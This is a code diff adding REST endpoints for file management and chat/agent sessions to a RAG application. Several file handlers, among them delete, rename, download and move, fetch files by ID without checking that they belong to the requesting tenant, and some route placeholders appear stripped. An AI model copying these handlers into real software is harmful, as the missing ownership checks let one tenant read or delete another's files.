+@manager.route('/file/parent_folder', methods=['GET']) # noqa: F821
+@token_required
+def get_parent_folder():
+ """
+ Get parent folder info of a file.
+ ---
+ tags:
+ - File Management
+ security:
+ - ApiKeyAuth: []
+ parameters:
+ - in: query
+ name: file_id
+ type: string
+ required: true
+ description: Target file ID
+ responses:
+ 200:
+ description: Parent folder information
+ schema:
+ type: object
+ properties:
+ data:
+ type: object
+ properties:
+ parent_folder:
+ type: object
+ properties:
+ id:
+ type: string
+ name:
+ type: string
+ """
+ file_id = request.args.get("file_id")
+ try:
+ e, file = FileService.get_by_id(file_id)
+ if not e:
+ return get_json_result(message="Folder not found!", code=404)
+
+ parent_folder = FileService.get_parent_folder(file_id)
+ return get_json_result(data={"parent_folder": parent_folder.to_json()})
+ except Exception as e:
+ return server_error_response(e)
+
+
+@manager.route('/file/all_parent_folder', methods=['GET']) # noqa: F821
+@token_required
+def get_all_parent_folders(tenant_id):
+ """
+ Get all parent folders of a file.
+ ---
+ tags:
+ - File Management
+ security:
+ - ApiKeyAuth: []
+ parameters:
+ - in: query
+ name: file_id
+ type: string
+ required: true
+ description: Target file ID
+ responses:
+ 200:
+ description: All parent folders of the file
+ schema:
+ type: object
+ properties:
+ data:
+ type: object
+ properties:
+ parent_folders:
+ type: array
+ items:
+ type: object
+ properties:
+ id:
+ type: string
+ name:
+ type: string
+ """
+ file_id = request.args.get("file_id")
+ try:
+ e, file = FileService.get_by_id(file_id)
+ if not e:
+ return get_json_result(message="Folder not found!", code=404)
+
+ parent_folders = FileService.get_all_parent_folders(file_id)
+ parent_folders_res = [folder.to_json() for folder in parent_folders]
+ return get_json_result(data={"parent_folders": parent_folders_res})
+ except Exception as e:
+ return server_error_response(e)
+
+
+@manager.route('/file/rm', methods=['POST']) # noqa: F821
+@token_required
+def rm(tenant_id):
+ """
+ Delete one or multiple files/folders.
+ ---
+ tags:
+ - File Management
+ security:
+ - ApiKeyAuth: []
+ parameters:
+ - in: body
+ name: body
+ description: Files to delete
+ required: true
+ schema:
+ type: object
+ properties:
+ file_ids:
+ type: array
+ items:
+ type: string
+ description: List of file IDs to delete
+ responses:
+ 200:
+ description: Successfully deleted files
+ schema:
+ type: object
+ properties:
+ data:
+ type: boolean
+ example: true
+ """
+ req = request.json
+ file_ids = req["file_ids"]
+ try:
+ for file_id in file_ids:
+ e, file = FileService.get_by_id(file_id)
+ if not e:
+ return get_json_result(message="File or Folder not found!", code=404)
+ if not file.tenant_id:
+ return get_json_result(message="Tenant not found!", code=404)
+
+ if file.type == FileType.FOLDER.value:
+ file_id_list = FileService.get_all_innermost_file_ids(file_id, [])
+ for inner_file_id in file_id_list:
+ e, file = FileService.get_by_id(inner_file_id)
+ if not e:
+ return get_json_result(message="File not found!", code=404)
+ STORAGE_IMPL.rm(file.parent_id, file.location)
+ FileService.delete_folder_by_pf_id(tenant_id, file_id)
+ else:
+ STORAGE_IMPL.rm(file.parent_id, file.location)
+ if not FileService.delete(file):
+ return get_json_result(message="Database error (File removal)!", code=500)
+
+ informs = File2DocumentService.get_by_file_id(file_id)
+ for inform in informs:
+ doc_id = inform.document_id
+ e, doc = DocumentService.get_by_id(doc_id)
+ if not e:
+ return get_json_result(message="Document not found!", code=404)
+ tenant_id = DocumentService.get_tenant_id(doc_id)
+ if not tenant_id:
+ return get_json_result(message="Tenant not found!", code=404)
+ if not DocumentService.remove_document(doc, tenant_id):
+ return get_json_result(message="Database error (Document removal)!", code=500)
+ File2DocumentService.delete_by_file_id(file_id)
+
+ return get_json_result(data=True)
+ except Exception as e:
+ return server_error_response(e)
+
+
+@manager.route('/file/rename', methods=['POST']) # noqa: F821
+@token_required
+def rename(tenant_id):
+ """
+ Rename a file.
+ ---
+ tags:
+ - File Management
+ security:
+ - ApiKeyAuth: []
+ parameters:
+ - in: body
+ name: body
+ description: Rename file
+ required: true
+ schema:
+ type: object
+ properties:
+ file_id:
+ type: string
+ description: Target file ID
+ name:
+ type: string
+ description: New name for the file
+ responses:
+ 200:
+ description: File renamed successfully
+ schema:
+ type: object
+ properties:
+ data:
+ type: boolean
+ example: true
+ """
+ req = request.json
+ try:
+ e, file = FileService.get_by_id(req["file_id"])
+ if not e:
+ return get_json_result(message="File not found!", code=404)
+
+ if file.type != FileType.FOLDER.value and pathlib.Path(req["name"].lower()).suffix != pathlib.Path(file.name.lower()).suffix:
+ return get_json_result(data=False, message="The extension of file can't be changed", code=400)
+
+ for existing_file in FileService.query(name=req["name"], pf_id=file.parent_id):
+ if existing_file.name == req["name"]:
+ return get_json_result(data=False, message="Duplicated file name in the same folder.", code=409)
+
+ if not FileService.update_by_id(req["file_id"], {"name": req["name"]}):
+ return get_json_result(message="Database error (File rename)!", code=500)
+
+ informs = File2DocumentService.get_by_file_id(req["file_id"])
+ if informs:
+ if not DocumentService.update_by_id(informs[0].document_id, {"name": req["name"]}):
+ return get_json_result(message="Database error (Document rename)!", code=500)
+
+ return get_json_result(data=True)
+ except Exception as e:
+ return server_error_response(e)
+
+
+@manager.route('/file/get/', methods=['GET']) # noqa: F821
+@token_required
+def get(tenant_id,file_id):
+ """
+ Download a file.
+ ---
+ tags:
+ - File Management
+ security:
+ - ApiKeyAuth: []
+ produces:
+ - application/octet-stream
+ parameters:
+ - in: path
+ name: file_id
+ type: string
+ required: true
+ description: File ID to download
+ responses:
+ 200:
+ description: File stream
+ schema:
+ type: file
+ 404:
+ description: File not found
+ """
+ try:
+ e, file = FileService.get_by_id(file_id)
+ if not e:
+ return get_json_result(message="Document not found!", code=404)
+
+ blob = STORAGE_IMPL.get(file.parent_id, file.location)
+ if not blob:
+ b, n = File2DocumentService.get_storage_address(file_id=file_id)
+ blob = STORAGE_IMPL.get(b, n)
+
+ response = flask.make_response(blob)
+ ext = re.search(r"\.([^.]+)$", file.name)
+ if ext:
+ if file.type == FileType.VISUAL.value:
+ response.headers.set('Content-Type', 'image/%s' % ext.group(1))
+ else:
+ response.headers.set('Content-Type', 'application/%s' % ext.group(1))
+ return response
+ except Exception as e:
+ return server_error_response(e)
+
+
+@manager.route('/file/mv', methods=['POST']) # noqa: F821
+@token_required
+def move(tenant_id):
+ """
+ Move one or multiple files to another folder.
+ ---
+ tags:
+ - File Management
+ security:
+ - ApiKeyAuth: []
+ parameters:
+ - in: body
+ name: body
+ description: Move operation
+ required: true
+ schema:
+ type: object
+ properties:
+ src_file_ids:
+ type: array
+ items:
+ type: string
+ description: Source file IDs
+ dest_file_id:
+ type: string
+ description: Destination folder ID
+ responses:
+ 200:
+ description: Files moved successfully
+ schema:
+ type: object
+ properties:
+ data:
+ type: boolean
+ example: true
+ """
+ req = request.json
+ try:
+ file_ids = req["src_file_ids"]
+ parent_id = req["dest_file_id"]
+ files = FileService.get_by_ids(file_ids)
+ files_dict = {f.id: f for f in files}
+
+ for file_id in file_ids:
+ file = files_dict[file_id]
+ if not file:
+ return get_json_result(message="File or Folder not found!", code=404)
+ if not file.tenant_id:
+ return get_json_result(message="Tenant not found!", code=404)
+
+ fe, _ = FileService.get_by_id(parent_id)
+ if not fe:
+ return get_json_result(message="Parent Folder not found!", code=404)
+
+ FileService.move_file(file_ids, parent_id)
+ return get_json_result(data=True)
+ except Exception as e:
+ return server_error_response(e)
+
+@manager.route('/file/convert', methods=['POST']) # noqa: F821
+@token_required
+def convert(tenant_id):
+ req = request.json
+ kb_ids = req["kb_ids"]
+ file_ids = req["file_ids"]
+ file2documents = []
+
+ try:
+ files = FileService.get_by_ids(file_ids)
+ files_set = dict({file.id: file for file in files})
+ for file_id in file_ids:
+ file = files_set[file_id]
+ if not file:
+ return get_json_result(message="File not found!", code=404)
+ file_ids_list = [file_id]
+ if file.type == FileType.FOLDER.value:
+ file_ids_list = FileService.get_all_innermost_file_ids(file_id, [])
+ for id in file_ids_list:
+ informs = File2DocumentService.get_by_file_id(id)
+ # delete
+ for inform in informs:
+ doc_id = inform.document_id
+ e, doc = DocumentService.get_by_id(doc_id)
+ if not e:
+ return get_json_result(message="Document not found!", code=404)
+ tenant_id = DocumentService.get_tenant_id(doc_id)
+ if not tenant_id:
+ return get_json_result(message="Tenant not found!", code=404)
+ if not DocumentService.remove_document(doc, tenant_id):
+ return get_json_result(
+ message="Database error (Document removal)!", code=404)
+ File2DocumentService.delete_by_file_id(id)
+
+ # insert
+ for kb_id in kb_ids:
+ e, kb = KnowledgebaseService.get_by_id(kb_id)
+ if not e:
+ return get_json_result(
+ message="Can't find this knowledgebase!", code=404)
+ e, file = FileService.get_by_id(id)
+ if not e:
+ return get_json_result(
+ message="Can't find this file!", code=404)
+
+ doc = DocumentService.insert({
+ "id": get_uuid(),
+ "kb_id": kb.id,
+ "parser_id": FileService.get_parser(file.type, file.name, kb.parser_id),
+ "parser_config": kb.parser_config,
+ "created_by": tenant_id,
+ "type": file.type,
+ "name": file.name,
+ "suffix": Path(file.name).suffix.lstrip("."),
+ "location": file.location,
+ "size": file.size
+ })
+ file2document = File2DocumentService.insert({
+ "id": get_uuid(),
+ "file_id": id,
+ "document_id": doc.id,
+ })
+
+ file2documents.append(file2document.to_json())
+ return get_json_result(data=file2documents)
+ except Exception as e:
+ return server_error_response(e)
\ No newline at end of file
diff --git a/api/apps/sdk/session.py b/api/apps/sdk/session.py
new file mode 100644
index 0000000..10b6e97
--- /dev/null
+++ b/api/apps/sdk/session.py
@@ -0,0 +1,1115 @@
+#
+# Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+import json
+import re
+import time
+
+import tiktoken
+from flask import Response, jsonify, request
+
+from agent.canvas import Canvas
+from api import settings
+from api.db import LLMType, StatusEnum
+from api.db.db_models import APIToken
+from api.db.services.api_service import API4ConversationService
+from api.db.services.canvas_service import UserCanvasService, completionOpenAI
+from api.db.services.canvas_service import completion as agent_completion
+from api.db.services.conversation_service import ConversationService, iframe_completion
+from api.db.services.conversation_service import completion as rag_completion
+from api.db.services.dialog_service import DialogService, ask, chat, gen_mindmap, meta_filter
+from api.db.services.document_service import DocumentService
+from api.db.services.knowledgebase_service import KnowledgebaseService
+from api.db.services.llm_service import LLMBundle
+from api.db.services.search_service import SearchService
+from api.db.services.user_service import UserTenantService
+from api.utils import get_uuid
+from api.utils.api_utils import check_duplicate_ids, get_data_openai, get_error_data_result, get_json_result, get_result, server_error_response, token_required, validate_request
+from rag.app.tag import label_question
+from rag.prompts.template import load_prompt
+from rag.prompts.generator import cross_languages, gen_meta_filter, keyword_extraction, chunks_format
+
+
+@manager.route("/chats//sessions", methods=["POST"]) # noqa: F821
+@token_required
+def create(tenant_id, chat_id):
+ req = request.json
+ req["dialog_id"] = chat_id
+ dia = DialogService.query(tenant_id=tenant_id, id=req["dialog_id"], status=StatusEnum.VALID.value)
+ if not dia:
+ return get_error_data_result(message="You do not own the assistant.")
+ conv = {
+ "id": get_uuid(),
+ "dialog_id": req["dialog_id"],
+ "name": req.get("name", "New session"),
+ "message": [{"role": "assistant", "content": dia[0].prompt_config.get("prologue")}],
+ "user_id": req.get("user_id", ""),
+ "reference": [{}],
+ }
+ if not conv.get("name"):
+ return get_error_data_result(message="`name` can not be empty.")
+ ConversationService.save(**conv)
+ e, conv = ConversationService.get_by_id(conv["id"])
+ if not e:
+ return get_error_data_result(message="Fail to create a session!")
+ conv = conv.to_dict()
+ conv["messages"] = conv.pop("message")
+ conv["chat_id"] = conv.pop("dialog_id")
+ del conv["reference"]
+ return get_result(data=conv)
+
+
+@manager.route("/agents//sessions", methods=["POST"]) # noqa: F821
+@token_required
+def create_agent_session(tenant_id, agent_id):
+ user_id = request.args.get("user_id", tenant_id)
+ e, cvs = UserCanvasService.get_by_id(agent_id)
+ if not e:
+ return get_error_data_result("Agent not found.")
+ if not UserCanvasService.query(user_id=tenant_id, id=agent_id):
+ return get_error_data_result("You cannot access the agent.")
+ if not isinstance(cvs.dsl, str):
+ cvs.dsl = json.dumps(cvs.dsl, ensure_ascii=False)
+
+ session_id = get_uuid()
+ canvas = Canvas(cvs.dsl, tenant_id, agent_id)
+ canvas.reset()
+
+ cvs.dsl = json.loads(str(canvas))
+ conv = {"id": session_id, "dialog_id": cvs.id, "user_id": user_id, "message": [{"role": "assistant", "content": canvas.get_prologue()}], "source": "agent", "dsl": cvs.dsl}
+ API4ConversationService.save(**conv)
+ conv["agent_id"] = conv.pop("dialog_id")
+ return get_result(data=conv)
+
+
+@manager.route("/chats//sessions/", methods=["PUT"]) # noqa: F821
+@token_required
+def update(tenant_id, chat_id, session_id):
+ req = request.json
+ req["dialog_id"] = chat_id
+ conv_id = session_id
+ conv = ConversationService.query(id=conv_id, dialog_id=chat_id)
+ if not conv:
+ return get_error_data_result(message="Session does not exist")
+ if not DialogService.query(id=chat_id, tenant_id=tenant_id, status=StatusEnum.VALID.value):
+ return get_error_data_result(message="You do not own the session")
+ if "message" in req or "messages" in req:
+ return get_error_data_result(message="`message` can not be change")
+ if "reference" in req:
+ return get_error_data_result(message="`reference` can not be change")
+ if "name" in req and not req.get("name"):
+ return get_error_data_result(message="`name` can not be empty.")
+ if not ConversationService.update_by_id(conv_id, req):
+ return get_error_data_result(message="Session updates error")
+ return get_result()
+
+
+@manager.route("/chats//completions", methods=["POST"]) # noqa: F821
+@token_required
+def chat_completion(tenant_id, chat_id):
+ req = request.json
+ if not req:
+ req = {"question": ""}
+ if not req.get("session_id"):
+ req["question"] = ""
+ if not DialogService.query(tenant_id=tenant_id, id=chat_id, status=StatusEnum.VALID.value):
+ return get_error_data_result(f"You don't own the chat {chat_id}")
+ if req.get("session_id"):
+ if not ConversationService.query(id=req["session_id"], dialog_id=chat_id):
+ return get_error_data_result(f"You don't own the session {req['session_id']}")
+ if req.get("stream", True):
+ resp = Response(rag_completion(tenant_id, chat_id, **req), mimetype="text/event-stream")
+ resp.headers.add_header("Cache-control", "no-cache")
+ resp.headers.add_header("Connection", "keep-alive")
+ resp.headers.add_header("X-Accel-Buffering", "no")
+ resp.headers.add_header("Content-Type", "text/event-stream; charset=utf-8")
+
+ return resp
+ else:
+ answer = None
+ for ans in rag_completion(tenant_id, chat_id, **req):
+ answer = ans
+ break
+ return get_result(data=answer)
+
+
+@manager.route("/chats_openai//chat/completions", methods=["POST"]) # noqa: F821
+@validate_request("model", "messages") # noqa: F821
+@token_required
+def chat_completion_openai_like(tenant_id, chat_id):
+ """
+ OpenAI-like chat completion API that simulates the behavior of OpenAI's completions endpoint.
+
+ This function allows users to interact with a model and receive responses based on a series of historical messages.
+ If `stream` is set to True (by default), the response will be streamed in chunks, mimicking the OpenAI-style API.
+ Set `stream` to False explicitly, the response will be returned in a single complete answer.
+
+ Reference:
+
+ - If `stream` is True, the final answer and reference information will appear in the **last chunk** of the stream.
+ - If `stream` is False, the reference will be included in `choices[0].message.reference`.
+
+ Example usage:
+
+ curl -X POST https://ragflow_address.com/api/v1/chats_openai//chat/completions \
+ -H "Content-Type: application/json" \
+ -H "Authorization: Bearer $RAGFLOW_API_KEY" \
+ -d '{
+ "model": "model",
+ "messages": [{"role": "user", "content": "Say this is a test!"}],
+ "stream": true
+ }'
+
+ Alternatively, you can use Python's `OpenAI` client:
+
+ from openai import OpenAI
+
+ model = "model"
+ client = OpenAI(api_key="ragflow-api-key", base_url=f"http://ragflow_address/api/v1/chats_openai/")
+
+ stream = True
+ reference = True
+
+ completion = client.chat.completions.create(
+ model=model,
+ messages=[
+ {"role": "system", "content": "You are a helpful assistant."},
+ {"role": "user", "content": "Who are you?"},
+ {"role": "assistant", "content": "I am an AI assistant named..."},
+ {"role": "user", "content": "Can you tell me how to install neovim"},
+ ],
+ stream=stream,
+ extra_body={"reference": reference}
+ )
+
+ if stream:
+ for chunk in completion:
+ print(chunk)
+ if reference and chunk.choices[0].finish_reason == "stop":
+ print(f"Reference:\n{chunk.choices[0].delta.reference}")
+ print(f"Final content:\n{chunk.choices[0].delta.final_content}")
+ else:
+ print(completion.choices[0].message.content)
+ if reference:
+ print(completion.choices[0].message.reference)
+ """
+ req = request.get_json()
+
+ need_reference = bool(req.get("reference", False))
+
+ messages = req.get("messages", [])
+ # To prevent empty [] input
+ if len(messages) < 1:
+ return get_error_data_result("You have to provide messages.")
+ if messages[-1]["role"] != "user":
+ return get_error_data_result("The last content of this conversation is not from user.")
+
+ prompt = messages[-1]["content"]
+ # Treat context tokens as reasoning tokens
+ context_token_used = sum(len(message["content"]) for message in messages)
+
+ dia = DialogService.query(tenant_id=tenant_id, id=chat_id, status=StatusEnum.VALID.value)
+ if not dia:
+ return get_error_data_result(f"You don't own the chat {chat_id}")
+ dia = dia[0]
+
+ # Filter system and non-sense assistant messages
+ msg = []
+ for m in messages:
+ if m["role"] == "system":
+ continue
+ if m["role"] == "assistant" and not msg:
+ continue
+ msg.append(m)
+
+ # tools = get_tools()
+ # toolcall_session = SimpleFunctionCallServer()
+ tools = None
+ toolcall_session = None
+
+ if req.get("stream", True):
+ # The value for the usage field on all chunks except for the last one will be null.
+ # The usage field on the last chunk contains token usage statistics for the entire request.
+ # The choices field on the last chunk will always be an empty array [].
+ def streamed_response_generator(chat_id, dia, msg):
+ token_used = 0
+ answer_cache = ""
+ reasoning_cache = ""
+ last_ans = {}
+ response = {
+ "id": f"chatcmpl-{chat_id}",
+ "choices": [
+ {
+ "delta": {
+ "content": "",
+ "role": "assistant",
+ "function_call": None,
+ "tool_calls": None,
+ "reasoning_content": "",
+ },
+ "finish_reason": None,
+ "index": 0,
+ "logprobs": None,
+ }
+ ],
+ "created": int(time.time()),
+ "model": "model",
+ "object": "chat.completion.chunk",
+ "system_fingerprint": "",
+ "usage": None,
+ }
+
+ try:
+ for ans in chat(dia, msg, True, toolcall_session=toolcall_session, tools=tools, quote=need_reference):
+ last_ans = ans
+ answer = ans["answer"]
+
+ reasoning_match = re.search(r"(.*?) ", answer, flags=re.DOTALL)
+ if reasoning_match:
+ reasoning_part = reasoning_match.group(1)
+ content_part = answer[reasoning_match.end() :]
+ else:
+ reasoning_part = ""
+ content_part = answer
+
+ reasoning_incremental = ""
+ if reasoning_part:
+ if reasoning_part.startswith(reasoning_cache):
+ reasoning_incremental = reasoning_part.replace(reasoning_cache, "", 1)
+ else:
+ reasoning_incremental = reasoning_part
+ reasoning_cache = reasoning_part
+
+ content_incremental = ""
+ if content_part:
+ if content_part.startswith(answer_cache):
+ content_incremental = content_part.replace(answer_cache, "", 1)
+ else:
+ content_incremental = content_part
+ answer_cache = content_part
+
+ token_used += len(reasoning_incremental) + len(content_incremental)
+
+ if not any([reasoning_incremental, content_incremental]):
+ continue
+
+ if reasoning_incremental:
+ response["choices"][0]["delta"]["reasoning_content"] = reasoning_incremental
+ else:
+ response["choices"][0]["delta"]["reasoning_content"] = None
+
+ if content_incremental:
+ response["choices"][0]["delta"]["content"] = content_incremental
+ else:
+ response["choices"][0]["delta"]["content"] = None
+
+ yield f"data:{json.dumps(response, ensure_ascii=False)}\n\n"
+ except Exception as e:
+ response["choices"][0]["delta"]["content"] = "**ERROR**: " + str(e)
+ yield f"data:{json.dumps(response, ensure_ascii=False)}\n\n"
+
+ # The last chunk
+ response["choices"][0]["delta"]["content"] = None
+ response["choices"][0]["delta"]["reasoning_content"] = None
+ response["choices"][0]["finish_reason"] = "stop"
+ response["usage"] = {"prompt_tokens": len(prompt), "completion_tokens": token_used, "total_tokens": len(prompt) + token_used}
+ if need_reference:
+ response["choices"][0]["delta"]["reference"] = chunks_format(last_ans.get("reference", []))
+ response["choices"][0]["delta"]["final_content"] = last_ans.get("answer", "")
+ yield f"data:{json.dumps(response, ensure_ascii=False)}\n\n"
+ yield "data:[DONE]\n\n"
+
+ resp = Response(streamed_response_generator(chat_id, dia, msg), mimetype="text/event-stream")
+ resp.headers.add_header("Cache-control", "no-cache")
+ resp.headers.add_header("Connection", "keep-alive")
+ resp.headers.add_header("X-Accel-Buffering", "no")
+ resp.headers.add_header("Content-Type", "text/event-stream; charset=utf-8")
+ return resp
+ else:
+ answer = None
+ for ans in chat(dia, msg, False, toolcall_session=toolcall_session, tools=tools, quote=need_reference):
+ # focus answer content only
+ answer = ans
+ break
+ content = answer["answer"]
+
+ response = {
+ "id": f"chatcmpl-{chat_id}",
+ "object": "chat.completion",
+ "created": int(time.time()),
+ "model": req.get("model", ""),
+ "usage": {
+ "prompt_tokens": len(prompt),
+ "completion_tokens": len(content),
+ "total_tokens": len(prompt) + len(content),
+ "completion_tokens_details": {
+ "reasoning_tokens": context_token_used,
+ "accepted_prediction_tokens": len(content),
+ "rejected_prediction_tokens": 0, # 0 for simplicity
+ },
+ },
+ "choices": [
+ {
+ "message": {
+ "role": "assistant",
+ "content": content,
+ },
+ "logprobs": None,
+ "finish_reason": "stop",
+ "index": 0,
+ }
+ ],
+ }
+ if need_reference:
+ response["choices"][0]["message"]["reference"] = chunks_format(answer.get("reference", []))
+
+ return jsonify(response)
+
+
+@manager.route("/agents_openai//chat/completions", methods=["POST"]) # noqa: F821
+@validate_request("model", "messages") # noqa: F821
+@token_required
+def agents_completion_openai_compatibility(tenant_id, agent_id):
+ req = request.json
+ tiktokenenc = tiktoken.get_encoding("cl100k_base")
+ messages = req.get("messages", [])
+ if not messages:
+ return get_error_data_result("You must provide at least one message.")
+ if not UserCanvasService.query(user_id=tenant_id, id=agent_id):
+ return get_error_data_result(f"You don't own the agent {agent_id}")
+
+ filtered_messages = [m for m in messages if m["role"] in ["user", "assistant"]]
+ prompt_tokens = sum(len(tiktokenenc.encode(m["content"])) for m in filtered_messages)
+ if not filtered_messages:
+ return jsonify(
+ get_data_openai(
+ id=agent_id,
+ content="No valid messages found (user or assistant).",
+ finish_reason="stop",
+ model=req.get("model", ""),
+ completion_tokens=len(tiktokenenc.encode("No valid messages found (user or assistant).")),
+ prompt_tokens=prompt_tokens,
+ )
+ )
+
+ question = next((m["content"] for m in reversed(messages) if m["role"] == "user"), "")
+
+ stream = req.pop("stream", False)
+ if stream:
+ resp = Response(
+ completionOpenAI(
+ tenant_id,
+ agent_id,
+ question,
+ session_id=req.pop("session_id", req.get("id", "")) or req.get("metadata", {}).get("id", ""),
+ stream=True,
+ **req,
+ ),
+ mimetype="text/event-stream",
+ )
+ resp.headers.add_header("Cache-control", "no-cache")
+ resp.headers.add_header("Connection", "keep-alive")
+ resp.headers.add_header("X-Accel-Buffering", "no")
+ resp.headers.add_header("Content-Type", "text/event-stream; charset=utf-8")
+ return resp
+ else:
+ # For non-streaming, just return the response directly
+ response = next(
+ completionOpenAI(
+ tenant_id,
+ agent_id,
+ question,
+ session_id=req.pop("session_id", req.get("id", "")) or req.get("metadata", {}).get("id", ""),
+ stream=False,
+ **req,
+ )
+ )
+ return jsonify(response)
+
+
+@manager.route("/agents//completions", methods=["POST"]) # noqa: F821
+@token_required
+def agent_completions(tenant_id, agent_id):
+ req = request.json
+
+ if req.get("stream", True):
+
+ def generate():
+ for answer in agent_completion(tenant_id=tenant_id, agent_id=agent_id, **req):
+ if isinstance(answer, str):
+ try:
+ ans = json.loads(answer[5:]) # remove "data:"
+ except Exception:
+ continue
+
+ if ans.get("event") not in ["message", "message_end"]:
+ continue
+
+ yield answer
+
+ yield "data:[DONE]\n\n"
+
+ resp = Response(generate(), mimetype="text/event-stream")
+ resp.headers.add_header("Cache-control", "no-cache")
+ resp.headers.add_header("Connection", "keep-alive")
+ resp.headers.add_header("X-Accel-Buffering", "no")
+ resp.headers.add_header("Content-Type", "text/event-stream; charset=utf-8")
+ return resp
+
+ full_content = ""
+ reference = {}
+ final_ans = ""
+ for answer in agent_completion(tenant_id=tenant_id, agent_id=agent_id, **req):
+ try:
+ ans = json.loads(answer[5:])
+
+ if ans["event"] == "message":
+ full_content += ans["data"]["content"]
+
+ if ans.get("data", {}).get("reference", None):
+ reference.update(ans["data"]["reference"])
+
+ final_ans = ans
+ except Exception as e:
+ return get_result(data=f"**ERROR**: {str(e)}")
+ final_ans["data"]["content"] = full_content
+ final_ans["data"]["reference"] = reference
+ return get_result(data=final_ans)
+
+
+@manager.route("/chats//sessions", methods=["GET"]) # noqa: F821
+@token_required
+def list_session(tenant_id, chat_id):
+ if not DialogService.query(tenant_id=tenant_id, id=chat_id, status=StatusEnum.VALID.value):
+ return get_error_data_result(message=f"You don't own the assistant {chat_id}.")
+ id = request.args.get("id")
+ name = request.args.get("name")
+ page_number = int(request.args.get("page", 1))
+ items_per_page = int(request.args.get("page_size", 30))
+ orderby = request.args.get("orderby", "create_time")
+ user_id = request.args.get("user_id")
+ if request.args.get("desc") == "False" or request.args.get("desc") == "false":
+ desc = False
+ else:
+ desc = True
+ convs = ConversationService.get_list(chat_id, page_number, items_per_page, orderby, desc, id, name, user_id)
+ if not convs:
+ return get_result(data=[])
+ for conv in convs:
+ conv["messages"] = conv.pop("message")
+ infos = conv["messages"]
+ for info in infos:
+ if "prompt" in info:
+ info.pop("prompt")
+ conv["chat_id"] = conv.pop("dialog_id")
+ ref_messages = conv["reference"]
+ if ref_messages:
+ messages = conv["messages"]
+ message_num = 0
+ ref_num = 0
+ while message_num < len(messages) and ref_num < len(ref_messages):
+ if messages[message_num]["role"] != "user":
+ chunk_list = []
+ if "chunks" in ref_messages[ref_num]:
+ chunks = ref_messages[ref_num]["chunks"]
+ for chunk in chunks:
+ new_chunk = {
+ "id": chunk.get("chunk_id", chunk.get("id")),
+ "content": chunk.get("content_with_weight", chunk.get("content")),
+ "document_id": chunk.get("doc_id", chunk.get("document_id")),
+ "document_name": chunk.get("docnm_kwd", chunk.get("document_name")),
+ "dataset_id": chunk.get("kb_id", chunk.get("dataset_id")),
+ "image_id": chunk.get("image_id", chunk.get("img_id")),
+ "positions": chunk.get("positions", chunk.get("position_int")),
+ }
+
+ chunk_list.append(new_chunk)
+ messages[message_num]["reference"] = chunk_list
+ ref_num += 1
+ message_num += 1
+ del conv["reference"]
+ return get_result(data=convs)
+
+
+@manager.route("/agents//sessions", methods=["GET"]) # noqa: F821
+@token_required
+def list_agent_session(tenant_id, agent_id):
+ if not UserCanvasService.query(user_id=tenant_id, id=agent_id):
+ return get_error_data_result(message=f"You don't own the agent {agent_id}.")
+ id = request.args.get("id")
+ user_id = request.args.get("user_id")
+ page_number = int(request.args.get("page", 1))
+ items_per_page = int(request.args.get("page_size", 30))
+ orderby = request.args.get("orderby", "update_time")
+ if request.args.get("desc") == "False" or request.args.get("desc") == "false":
+ desc = False
+ else:
+ desc = True
+ # dsl defaults to True in all cases except for False and false
+ include_dsl = request.args.get("dsl") != "False" and request.args.get("dsl") != "false"
+ total, convs = API4ConversationService.get_list(agent_id, tenant_id, page_number, items_per_page, orderby, desc, id, user_id, include_dsl)
+ if not convs:
+ return get_result(data=[])
+ for conv in convs:
+ conv["messages"] = conv.pop("message")
+ infos = conv["messages"]
+ for info in infos:
+ if "prompt" in info:
+ info.pop("prompt")
+ conv["agent_id"] = conv.pop("dialog_id")
+ # Fix for session listing endpoint
+ if conv["reference"]:
+ messages = conv["messages"]
+ message_num = 0
+ chunk_num = 0
+ # Ensure reference is a list type to prevent KeyError
+ if not isinstance(conv["reference"], list):
+ conv["reference"] = []
+ while message_num < len(messages):
+ if message_num != 0 and messages[message_num]["role"] != "user":
+ chunk_list = []
+ # Add boundary and type checks to prevent KeyError
+ if chunk_num < len(conv["reference"]) and conv["reference"][chunk_num] is not None and isinstance(conv["reference"][chunk_num], dict) and "chunks" in conv["reference"][chunk_num]:
+ chunks = conv["reference"][chunk_num]["chunks"]
+ for chunk in chunks:
+ # Ensure chunk is a dictionary before calling get method
+ if not isinstance(chunk, dict):
+ continue
+ new_chunk = {
+ "id": chunk.get("chunk_id", chunk.get("id")),
+ "content": chunk.get("content_with_weight", chunk.get("content")),
+ "document_id": chunk.get("doc_id", chunk.get("document_id")),
+ "document_name": chunk.get("docnm_kwd", chunk.get("document_name")),
+ "dataset_id": chunk.get("kb_id", chunk.get("dataset_id")),
+ "image_id": chunk.get("image_id", chunk.get("img_id")),
+ "positions": chunk.get("positions", chunk.get("position_int")),
+ }
+ chunk_list.append(new_chunk)
+ chunk_num += 1
+ messages[message_num]["reference"] = chunk_list
+ message_num += 1
+ del conv["reference"]
+ return get_result(data=convs)
+
+
+@manager.route("/chats//sessions", methods=["DELETE"]) # noqa: F821
+@token_required
+def delete(tenant_id, chat_id):
+ if not DialogService.query(id=chat_id, tenant_id=tenant_id, status=StatusEnum.VALID.value):
+ return get_error_data_result(message="You don't own the chat")
+
+ errors = []
+ success_count = 0
+ req = request.json
+ convs = ConversationService.query(dialog_id=chat_id)
+ if not req:
+ ids = None
+ else:
+ ids = req.get("ids")
+
+ if not ids:
+ conv_list = []
+ for conv in convs:
+ conv_list.append(conv.id)
+ else:
+ conv_list = ids
+
+ unique_conv_ids, duplicate_messages = check_duplicate_ids(conv_list, "session")
+ conv_list = unique_conv_ids
+
+ for id in conv_list:
+ conv = ConversationService.query(id=id, dialog_id=chat_id)
+ if not conv:
+ errors.append(f"The chat doesn't own the session {id}")
+ continue
+ ConversationService.delete_by_id(id)
+ success_count += 1
+
+ if errors:
+ if success_count > 0:
+ return get_result(data={"success_count": success_count, "errors": errors}, message=f"Partially deleted {success_count} sessions with {len(errors)} errors")
+ else:
+ return get_error_data_result(message="; ".join(errors))
+
+ if duplicate_messages:
+ if success_count > 0:
+ return get_result(message=f"Partially deleted {success_count} sessions with {len(duplicate_messages)} errors", data={"success_count": success_count, "errors": duplicate_messages})
+ else:
